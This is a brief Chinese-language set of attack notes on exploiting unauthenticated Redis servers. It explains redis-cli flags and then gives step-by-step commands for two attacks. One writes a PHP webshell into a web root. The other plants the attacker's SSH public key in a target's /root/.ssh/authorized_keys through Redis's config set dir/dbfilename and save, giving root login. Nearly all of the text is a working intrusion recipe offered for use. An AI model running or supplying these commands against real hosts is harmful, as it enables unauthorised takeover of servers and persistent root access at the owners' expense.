redis-cli参数: -h :指定要连接的主机IP或域名 -p :指定连接的端口 -a :指定密码 -r :执行指定的命令 -n :数据库名 -x :将最后一个参数输出为value redis写shell-----端口6379 redis-cli -h 127.0.0.1 config set dir ar/www/webroot/ config set dbfilename redis.php set webshell "<?php phpinfo();?>" save ssh-keygen -t rsa -P "" -P表示登陆密码 scp /root/.ssh/id_rsa.pub root@192.168.1.1:/root/.ssh/authorized_keys chmod 600 authorized_keys 导出id_ras.pub (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt 连接目标192.168.199.166的redis 通过-x参数将key.txt 设置为 key “crackit” 的value 实际上对方的数据库上已经有一个key —value cat key.txt | redis-cli -h 192.168.199.166 -x set crackit redis-cli -h 192.168.199.166 # 连接目标主机的redis config get dir #获取redis的备份路径 config set dir /root/.ssh #设置数据库的备份路径 config set dbfilename authorized_keys #设置备份的数据库名称为authorized_keys config get dbfilename # 查看数据库名是否正确设置 key * #查看我们的key是否成功创建 save # 将数据保存在硬盘之中